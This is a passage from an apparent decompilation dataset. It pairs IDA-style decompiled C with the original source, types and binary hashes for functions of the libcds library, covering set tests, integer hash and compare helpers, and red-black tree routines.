\"tests/test_set.c\", 72LL);\nbreak;\n}\nif ( (unsigned __int8)set_contains(v23, v22) != 1 )\n{\ntest_fail(\"set_contains(set, lup_val)\", \"tests/test_set.c\", 73LL);\nbreak;\n}\nmem_release(v23);\nmem_release(v22);\n}\n}\nCurr_Test = \"Verify_set_insert_a_value_less_than_an_existing_value\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv7 = cmp_new(0LL, cmp_int);\nv21 = set_new(v7, hash_int);\nv20 = mem_box(41LL);\nv8 = mem_box(42LL);\nset_insert(v21, v8);\nv9 = mem_box(41LL);\nset_insert(v21, v9);\nif ( set_size(v21) != 2 )\n{\ntest_fail(\"set_size(set) == 2\", \"tests/test_set.c\", 84LL);\nbreak;\n}\nif ( (unsigned __int8)set_contains(v21, v20) != 1 )\n{\ntest_fail(\"set_contains(set, lup_val)\", \"tests/test_set.c\", 85LL);\nbreak;\n}\nmem_release(v21);\nmem_release(v20);\n}\n}\nCurr_Test = \"Verify_set_insert_a_value_greater_than_an_existing_value\";\n++Test_Results;\nfunc0();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv10 = cmp_new(0LL, cmp_int);\nv19 = set_new(v10, hash_int);\nv18 = mem_box(42LL);\nv11 = mem_box(41LL);\nset_insert(v19, v11);\nv12 = mem_box(42LL);\nset_insert(v19, v12);\nif ( set_size(v19) != 2 )\n{\ntest_fail(\"set_size(set) == 2\", \"tests/test_set.c\", 96LL);\nbreak;\n}\nif ( (unsigned __int8)set_contains(v19, v18) != 1 )\n{\ntest_fail(\"set_contains(set, lup_val)\", \"tests/test_set.c\", 97LL);\nbreak;\n}\nmem_release(v19);\nmem_release(v18);\n}\n}\nCurr_Test = \"Verify_set_delete_deletes_the_item_from_the_set\";\n++Test_Results;\nfunc0();\nresult = test_start();\nif ( !(_DWORD)result )\n{\nfor ( Loop_Var = 0; ; ++Loop_Var )\n{\nresult = Loop_Var;\nif ( Loop_Var > 0 )\nbreak;\nv14 = cmp_new(0LL, cmp_int);\nv17 = set_new(v14, hash_int);\nv16 = mem_box(42LL);\nif ( set_size(v17) )\nreturn test_fail(\"set_size(set) == 0\", \"tests/test_set.c\", 109LL);\nv15 = mem_box(42LL);\nset_insert(v17, v15);\nif ( set_size(v17) != 1 )\nreturn test_fail(\"set_size(set) == 1\", \"tests/test_set.c\", 111LL);\nset_delete(v17, v16);\nif ( set_size(v17) )\nreturn test_fail(\"set_size(set) == 0\", \"tests/test_set.c\", 113LL);\nmem_release(v17);\nmem_release(v16);\n}\n}\nreturn result;\n}" ] ]
[ { "name": "hash_int", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall hash_int(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nv2 = mem_unbox(a1);\nreturn murmur3_32(&v2, 8LL);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nv2 = mem_unbox(a1);\nreturn murmur3_32(&v2, 8LL);\n}", "original_code": "static uint32_t hash_int(void* obj) {\n intptr_t val = mem_unbox(obj);\n return murmur3_32((uint8_t*)&val, sizeof(intptr_t));\n}", "canonical_original_code": "static unsigned int hash_int(void *obj) {\n long val = mem_unbox(obj);\n return murmur3_32((unsigned char *)&val, sizeof(long));\n}", "variable_types": [ [ "obj", "void *" ], [ "val", "long" ] ], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "4360760530358ee48abe5a583d5c374af99f1ffaf31ed7a33e47d9477ca1e15e" }, { "name": "cmp_int", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall cmp_int(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\nunsigned __int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 >= v5 )\nresult = v5 < v6;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\nunsigned __int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 >= v5 )\nresult = v5 < v6;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "static int cmp_int(void* env, void* obja, void* objb) {\n uintptr_t inta = mem_unbox(obja);\n uintptr_t intb = mem_unbox(objb);\n (void)env;\n if (inta < intb)\n return -1;\n else if (intb < inta)\n return 1;\n else\n return 0;\n}", "canonical_original_code": "static int cmp_int(void *env, void *obja, void *objb) {\n unsigned long inta = mem_unbox(obja);\n unsigned long intb = mem_unbox(objb);\n (void)env;\n if (inta < intb)\n return -1;\n else if (intb < inta)\n return 1;\n else\n return 0;\n}", "variable_types": [ [ "env", "void *" ], [ "obja", "void *" ], [ "objb", "void *" ], [ "inta", "unsigned long" ], [ "intb", "unsigned long" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "4360760530358ee48abe5a583d5c374af99f1ffaf31ed7a33e47d9477ca1e15e" } ]
44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c
mikedlowis/libcds
[ [ "rbt_default_compare", "->" ], [ "rbt_free", "->" ], [ "rbt_node_free", "->" ], [ "rbt_node_new", "->", "rbt_insert" ], [ "rbt_node_color", "->", "rbt_ins_recolor", "rbt_delete_node" ], [ "rbt_lookup_node", "->", "rbt_lookup" ], [ "rbt_lookup", "->", "rbt_lookup_node", "rbt_delete" ], [ "rightmost_descendant", "->", "rbt_delete_node" ], [ "rbt_count", "->", "rbt_size" ], [ "rbt_size", "->", "rbt_count" ], [ "rbt_ins_rebalance", "->", "rbt_ins_recolor" ], [ "rbt_ins_recolor", "->", "rbt_node_color", "rbt_ins_rebalance", "rbt_insert_node" ], [ "rbt_insert_node", "->", "rbt_ins_recolor", "rbt_insert" ], [ "rbt_insert", "->", "rbt_node_new", "rbt_insert_node" ], [ "rbt_delete_node", "->", "rightmost_descendant", "rbt_node_color", "rbt_delete" ], [ "rbt_delete", "->", "rbt_lookup", "rbt_delete_node" ] ]
[]
[ { "name": "rbt_default_compare", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_default_compare(__int64 a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nif ( a2 == a3 )\nreturn 0LL;\nif ( a2 >= a3 )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, unsigned __int64 a2, unsigned __int64 a3)\n{\nif ( a2 == a3 )\nreturn 0LL;\nif ( a2 >= a3 )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}", "original_code": "static int rbt_default_compare(void* env, void* v_a, void* v_b){\n uintptr_t a = (uintptr_t)v_a;\n uintptr_t b = (uintptr_t)v_b;\n (void)env;\n return (a == b ? 0 : (a<b ? -1 : 1 ));\n}", "canonical_original_code": "static int rbt_default_compare(void *env, void *v_a, void *v_b){\n unsigned long a = (uintptr_t)v_a;\n unsigned long b = (uintptr_t)v_b;\n (void)env;\n return (a == b ? 0 : (a<b ? -1 : 1 ));\n}", "variable_types": [ [ "env", "void *" ], [ "v_a", "void *" ], [ "v_b", "void *" ], [ "a", "unsigned long" ], [ "b", "unsigned long" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_free", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_free(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/rbt/rbt.c\", 22LL, a1 != 0LL, \"NULL != tree\");\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/rbt/rbt.c\", 22LL, a1 != 0LL, \"NULL != tree\");\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}", "original_code": "static void rbt_free(void* v_tree){\n rbt_t* tree = (rbt_t*) v_tree;\n exn_assert(\"source/rbt/rbt.c\",22,((void *)0) != tree,\"NULL != tree\");\n if(tree->root) mem_release(tree->root);\n if(tree->comp) mem_release(tree->comp);\n}", "canonical_original_code": "static void rbt_free(void *v_tree){\n struct rbt_t *tree = (rbt_t*) v_tree;\n exn_assert(\"source/rbt/rbt.c\",22,((void *)0) != tree,\"NULL != tree\");\n if(tree->root) mem_release(tree->root);\n if(tree->comp) mem_release(tree->comp);\n}", "variable_types": [ [ "v_tree", "void *" ], [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ] ], "return_type": "void", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_node_free", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_node_free(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/rbt/rbt.c\", 37LL, a1 != 0LL, \"NULL != node\");\nmem_release(a1[4]);\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(_QWORD *a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/rbt/rbt.c\", 37LL, a1 != 0LL, \"NULL != node\");\nmem_release(a1[4]);\nif ( *a1 )\nmem_release(*a1);\nresult = a1[1];\nif ( result )\nresult = mem_release(a1[1]);\nreturn result;\n}", "original_code": "static void rbt_node_free(void* v_node){\n rbt_node_t* node = (rbt_node_t*) v_node;\n exn_assert(\"source/rbt/rbt.c\",37,((void *)0) != node,\"NULL != node\");\n mem_release(node->contents);\n if(node->left) mem_release(node->left);\n if(node->right) mem_release(node->right);\n}", "canonical_original_code": "static void rbt_node_free(void *v_node){\n struct rbt_node_t *node = (rbt_node_t*) v_node;\n exn_assert(\"source/rbt/rbt.c\",37,((void *)0) != node,\"NULL != node\");\n mem_release(node->contents);\n if(node->left) mem_release(node->left);\n if(node->right) mem_release(node->right);\n}", "variable_types": [ [ "v_node", "void *" ], [ "node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "void", "user_defined_types": [ "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_node_new", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_node_new(__int64 a1)\n{\n__int64 result; // rax\n\nresult = mem_allocate(40LL, rbt_node_free);\n*(_QWORD *)result = 0LL;\n*(_QWORD *)(result + 8) = 0LL;\n*(_QWORD *)(result + 16) = 0LL;\n*(_QWORD *)(result + 32) = a1;\n*(_DWORD *)(result + 24) = 0;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\n__int64 result; // rax\n\nresult = mem_allocate(40LL, rbt_node_free);\n*(_QWORD *)result = 0LL;\n*(_QWORD *)(result + 8) = 0LL;\n*(_QWORD *)(result + 16) = 0LL;\n*(_QWORD *)(result + 32) = a1;\n*(_DWORD *)(result + 24) = 0;\nreturn result;\n}", "original_code": "rbt_node_t* rbt_node_new(void* contents){\n rbt_node_t* node = mem_allocate(sizeof(rbt_node_t), &rbt_node_free);\n node->left = ((void *)0);\n node->right = ((void *)0);\n node->parent = ((void *)0);\n node->contents = contents;\n node->color = RED;\n return node;\n}", "canonical_original_code": "struct rbt_node_t *rbt_node_new(void *contents){\n struct rbt_node_t *node = mem_allocate(sizeof(rbt_node_t), &rbt_node_free);\n node->left = ((void *)0);\n node->right = ((void *)0);\n node->parent = ((void *)0);\n node->contents = contents;\n node->color = RED;\n return node;\n}", "variable_types": [ [ "contents", "void *" ], [ "node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *", "user_defined_types": [ "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_node_color", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_node_color(__int64 a1)\n{\n__int64 result; // rax\n\nif ( a1 )\nresult = *(unsigned int *)(a1 + 24);\nelse\nresult = 1LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1)\n{\n__int64 result; // rax\n\nif ( a1 )\nresult = *(unsigned int *)(a1 + 24);\nelse\nresult = 1LL;\nreturn result;\n}", "original_code": "rbt_color_t rbt_node_color(rbt_node_t* node){\n return (node ? node->color : BLACK);\n}", "canonical_original_code": "enum rbt_color_t rbt_node_color(struct rbt_node_t *node){\n return (node ? node->color : BLACK);\n}", "variable_types": [ [ "node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "enum rbt_color_t { RED=0, BLACK=1 }", "user_defined_types": [ "enum rbt_color_t { RED=0, BLACK=1 }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_lookup_node", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_lookup_node(__int64 a1, _QWORD *a2, __int64 a3)\n{\nint v5; // [rsp+24h] [rbp-Ch]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = 0LL;\nif ( a2 )\n{\nv5 = cmp_compare(*(_QWORD *)(a1 + 8), a3, a2[4]);\nif ( v5 >= 0 )\n{\nif ( v5 <= 0 )\nv6 = (__int64)a2;\nelse\nv6 = rbt_lookup_node(a1, a2[1], a3);\n}\nelse\n{\nv6 = rbt_lookup_node(a1, *a2, a3);\n}\n}\nreturn v6;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1, _QWORD *a2, __int64 a3)\n{\nint v5; // [rsp+24h] [rbp-Ch]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = 0LL;\nif ( a2 )\n{\nv5 = cmp_compare(*(_QWORD *)(a1 + 8), a3, a2[4]);\nif ( v5 >= 0 )\n{\nif ( v5 <= 0 )\nv6 = (__int64)a2;\nelse\nv6 = func5(a1, a2[1], a3);\n}\nelse\n{\nv6 = func5(a1, *a2, a3);\n}\n}\nreturn v6;\n}", "original_code": "static rbt_node_t* rbt_lookup_node(rbt_t* tree, rbt_node_t* node, void* value){\n rbt_node_t* ret = ((void *)0);\n if(node){\n int c = cmp_compare(tree->comp, value, node->contents);\n if (c < 0) ret = rbt_lookup_node(tree, node->left, value);\n else if(c > 0) ret = rbt_lookup_node(tree, node->right, value);\n else ret = node;\n }\n return ret;\n}", "canonical_original_code": "static struct rbt_node_t *rbt_lookup_node(struct rbt_t *tree, struct rbt_node_t *node, void *value){\n struct rbt_node_t *ret = ((void *)0);\n if(node){\n int c = cmp_compare(tree->comp, value, node->contents);\n if (c < 0) ret = rbt_lookup_node(tree, node->left, value);\n else if(c > 0) ret = rbt_lookup_node(tree, node->right, value);\n else ret = node;\n }\n return ret;\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "value", "void *" ], [ "ret", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "c", "int" ] ], "return_type": "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_lookup", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_lookup(_QWORD **a1, __int64 a2)\n{\nreturn rbt_lookup_node((__int64)a1, *a1, a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(_QWORD **a1, __int64 a2)\n{\nreturn func5((__int64)a1, *a1, a2);\n}", "original_code": "rbt_node_t* rbt_lookup(rbt_t* tree, void* value){\n return rbt_lookup_node(tree, tree->root, value);\n}", "canonical_original_code": "struct rbt_node_t *rbt_lookup(struct rbt_t *tree, void *value){\n return rbt_lookup_node(tree, tree->root, value);\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "value", "void *" ] ], "return_type": "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rightmost_descendant", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rightmost_descendant(__int64 a1)\n{\n__int64 result; // rax\n\nif ( *(_QWORD *)(a1 + 8) )\nresult = rightmost_descendant(*(_QWORD *)(a1 + 8));\nelse\nresult = a1;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1)\n{\n__int64 result; // rax\n\nif ( *(_QWORD *)(a1 + 8) )\nresult = func7(*(_QWORD *)(a1 + 8));\nelse\nresult = a1;\nreturn result;\n}", "original_code": "static rbt_node_t* rightmost_descendant(rbt_node_t* node){\n return (node->right) ? rightmost_descendant(node->right) : node;\n}", "canonical_original_code": "static struct rbt_node_t *rightmost_descendant(struct rbt_node_t *node){\n return (node->right) ? rightmost_descendant(node->right) : node;\n}", "variable_types": [ [ "node", "struct rbt_node_t *" ] ], "return_type": "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *", "user_defined_types": [ "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_count", "canonical_name": "func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_count(_QWORD *a1)\n{\nint v1; // ebx\n\nif ( !a1 )\nreturn 0LL;\nv1 = rbt_count(*a1) + 1;\nreturn v1 + (unsigned int)rbt_count(a1[1]);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(_QWORD *a1)\n{\nint v1; // ebx\n\nif ( !a1 )\nreturn 0LL;\nv1 = func8(*a1) + 1;\nreturn v1 + (unsigned int)func8(a1[1]);\n}", "original_code": "static int rbt_count(rbt_node_t* node){\n return (!node ? 0 : (1 + rbt_count(node->left) + rbt_count(node->right)));\n}", "canonical_original_code": "static int rbt_count(struct rbt_node_t *node){\n return (!node ? 0 : (1 + rbt_count(node->left) + rbt_count(node->right)));\n}", "variable_types": [ [ "node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "int", "user_defined_types": [ "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_size", "canonical_name": "func9", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_size(_QWORD **a1)\n{\nreturn rbt_count(*a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(_QWORD **a1)\n{\nreturn func8(*a1);\n}", "original_code": "int rbt_size(rbt_t* tree){\n return rbt_count(tree->root);\n}", "canonical_original_code": "int rbt_size(struct rbt_t *tree){\n return rbt_count(tree->root);\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ] ], "return_type": "int", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_ins_rebalance", "canonical_name": "func10", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_ins_rebalance(_QWORD *a1, __int64 a2, int a3)\n{\n__int64 result; // rax\n__int64 v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = *(_QWORD *)(a2 + 16);\nexn_assert(\"source/rbt/rbt.c\", 123LL, v6 != 0, \"NULL != parent\");\nv5 = *(_QWORD *)(v6 + 16);\nrbt_rotate(a1, (_QWORD *)v5, a3 == 0);\n*(_DWORD *)(v6 + 24) = 1;\nresult = v5;\n*(_DWORD *)(v5 + 24) = 0;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(_QWORD *a1, __int64 a2, int a3)\n{\n__int64 result; // rax\n__int64 v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = *(_QWORD *)(a2 + 16);\nexn_assert(\"source/rbt/rbt.c\", 123LL, v6 != 0, \"NULL != parent\");\nv5 = *(_QWORD *)(v6 + 16);\nrbt_rotate(a1, (_QWORD *)v5, a3 == 0);\n*(_DWORD *)(v6 + 24) = 1;\nresult = v5;\n*(_DWORD *)(v5 + 24) = 0;\nreturn result;\n}", "original_code": "static void rbt_ins_rebalance(rbt_t* tree, rbt_node_t* node, direction_t heavy_side){\n rbt_node_t* parent = node->parent;\n exn_assert(\"source/rbt/rbt.c\",123,((void *)0) != parent,\"NULL != parent\");\n rbt_node_t* grandparent = parent->parent;\n rbt_rotate(tree, grandparent, (heavy_side == LEFT ? RIGHT : LEFT));\n parent->color = BLACK;\n grandparent->color = RED;\n}", "canonical_original_code": "static void rbt_ins_rebalance(struct rbt_t *tree, struct rbt_node_t *node, enum direction_t heavy_side){\n struct rbt_node_t *parent = node->parent;\n exn_assert(\"source/rbt/rbt.c\",123,((void *)0) != parent,\"NULL != parent\");\n struct rbt_node_t *grandparent = parent->parent;\n rbt_rotate(tree, grandparent, (heavy_side == LEFT ? RIGHT : LEFT));\n parent->color = BLACK;\n grandparent->color = RED;\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "heavy_side", "enum direction_t { LEFT=0, RIGHT=1 }" ], [ "parent", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "grandparent", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "void", "user_defined_types": [ "enum direction_t { LEFT=0, RIGHT=1 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_ins_recolor", "canonical_name": "func11", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_ins_recolor(_QWORD *a1, __int64 a2)\n{\n__int64 *v2; // rax\n__int64 v3; // rax\n__int64 result; // rax\n__int64 v5; // [rsp+0h] [rbp-30h]\nint v6; // [rsp+10h] [rbp-20h]\n__int64 v7; // [rsp+18h] [rbp-18h]\n__int64 *v8; // [rsp+20h] [rbp-10h]\n__int64 v9; // [rsp+28h] [rbp-8h]\n\nv5 = a2;\nv9 = *(_QWORD *)(a2 + 16);\nif ( v9 )\nv2 = *(__int64 **)(v9 + 16);\nelse\nv2 = 0LL;\nv8 = v2;\nif ( v2 )\n{\nif ( v9 == *v2 )\nv3 = v2[1];\nelse\nv3 = *v2;\n}\nelse\n{\nv3 = 0LL;\n}\nv7 = v3;\nif ( v9 )\n{\nresult = rbt_node_color(v9);\nif ( !(_DWORD)result )\n{\nif ( (unsigned int)rbt_node_color(v7) )\n{\nv6 = v9 != *v8;\nif ( (a2 != *(_QWORD *)v9) != v6 )\n{\nrbt_rotate(a1, (_QWORD *)v9, v6);\nv5 = v9;\n}\nresult = rbt_ins_rebalance(a1, v5, v6);\n}\nelse\n{\n*((_DWORD *)v8 + 6) = 0;\n*(_DWORD *)(v9 + 24) = 1;\n*(_DWORD *)(v7 + 24) = 1;\nresult = rbt_ins_recolor(a1, v8);\n}\n}\n}\nelse\n{\nresult = a2;\n*(_DWORD *)(a2 + 24) = 1;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(_QWORD *a1, __int64 a2)\n{\n__int64 *v2; // rax\n__int64 v3; // rax\n__int64 result; // rax\n__int64 v5; // [rsp+0h] [rbp-30h]\nint v6; // [rsp+10h] [rbp-20h]\n__int64 v7; // [rsp+18h] [rbp-18h]\n__int64 *v8; // [rsp+20h] [rbp-10h]\n__int64 v9; // [rsp+28h] [rbp-8h]\n\nv5 = a2;\nv9 = *(_QWORD *)(a2 + 16);\nif ( v9 )\nv2 = *(__int64 **)(v9 + 16);\nelse\nv2 = 0LL;\nv8 = v2;\nif ( v2 )\n{\nif ( v9 == *v2 )\nv3 = v2[1];\nelse\nv3 = *v2;\n}\nelse\n{\nv3 = 0LL;\n}\nv7 = v3;\nif ( v9 )\n{\nresult = func4(v9);\nif ( !(_DWORD)result )\n{\nif ( (unsigned int)func4(v7) )\n{\nv6 = v9 != *v8;\nif ( (a2 != *(_QWORD *)v9) != v6 )\n{\nrbt_rotate(a1, (_QWORD *)v9, v6);\nv5 = v9;\n}\nresult = func10(a1, v5, v6);\n}\nelse\n{\n*((_DWORD *)v8 + 6) = 0;\n*(_DWORD *)(v9 + 24) = 1;\n*(_DWORD *)(v7 + 24) = 1;\nresult = func11(a1, v8);\n}\n}\n}\nelse\n{\nresult = a2;\n*(_DWORD *)(a2 + 24) = 